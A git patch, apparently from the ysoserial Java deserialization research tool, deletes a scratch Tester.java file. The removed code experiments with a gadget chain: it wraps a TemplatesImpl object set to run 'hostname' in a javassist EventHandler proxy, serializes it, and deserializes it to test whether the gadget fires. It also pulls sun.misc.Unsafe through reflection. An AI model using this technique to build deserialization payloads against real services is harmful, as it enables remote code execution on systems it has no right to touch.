From 2c79998485af2ed29979104443c6903317bd265d Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Wed, 24 Feb 2016 13:57:41 -0800 Subject: [PATCH] remove cruft --- src/main/java/Tester.java | 97 --------------------------------------- 1 file changed, 97 deletions(-) delete mode 100755 src/main/java/Tester.java diff --git a/src/main/java/Tester.java b/src/main/java/Tester.java deleted file mode 100755 index f60cb10..0000000 --- a/src/main/java/Tester.java +++ /dev/null @@ -1,97 +0,0 @@ -import java.beans.EventHandler; -import java.io.Serializable; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; - -import javassist.util.proxy.ProxyFactory; - -import javax.xml.transform.Templates; - -import sun.misc.Unsafe; -import ysoserial.Deserializer; -import ysoserial.Serializer; -import ysoserial.payloads.util.Gadgets; - - -public class Tester { - public static class Foo { - public boolean value() { - System.out.println("called"); - return true; - } - } - - public static void main(String[] args) throws Exception { - -// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class); -// -// t.equals(new Foo()); - - - ProxyFactory pf2 = new ProxyFactory(); - ProxyFactory pf = new ProxyFactory(); - - pf.setInterfaces(new Class[]{ Serializable.class }); - pf.setSuperclass(EventHandler.class); - pf.setUseWriteReplace(true); - pf.setUseCache(false); - - // public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) { - - - Templates t = Gadgets.createTemplatesImpl("hostname"); - - Class c = pf.createClass(); - - Constructor ctor = c.getConstructors()[0]; - ctor.setAccessible(true); - - Object o = ctor.newInstance(t, "getOutputProperties", null, null); - - - //Object o = getUnsafe().allocateInstance(c); - - //Object o = c.newInstance(); - -// System.out.println(pf); -// System.out.println(pf.hashCode()); -// System.out.println(c); - System.out.println(c.getName()); - System.out.println(o.getClass().getName()); -// System.out.println(o); -// System.out.println(Arrays.asList(c.getInterfaces())); - - byte[] serialized = Serializer.serialize(o); -// -//// System.out.write(serialized); -// - try { - Object o2 = Deserializer.deserialize(serialized); - //System.out.println(o2); - System.out.println(o2.getClass()); - System.out.println(o2.getClass().getName()); - - o2 = Deserializer.deserialize(serialized); - System.out.println(o2.getClass()); - System.out.println(o2.getClass().getName()); - - o2 = Deserializer.deserialize(serialized); - System.out.println(o2.getClass()); - System.out.println(o2.getClass().getName()); - } catch (Exception e) { - e.printStackTrace(); - } - - - getUnsafe().allocateInstance(Class.class); - - } - - public static Unsafe getUnsafe() { - try { - Field f = Unsafe.class.getDeclaredField("theUnsafe"); - f.setAccessible(true); - return (Unsafe)f.get(null); - } catch (Exception e) { throw new RuntimeException(e); } - } -}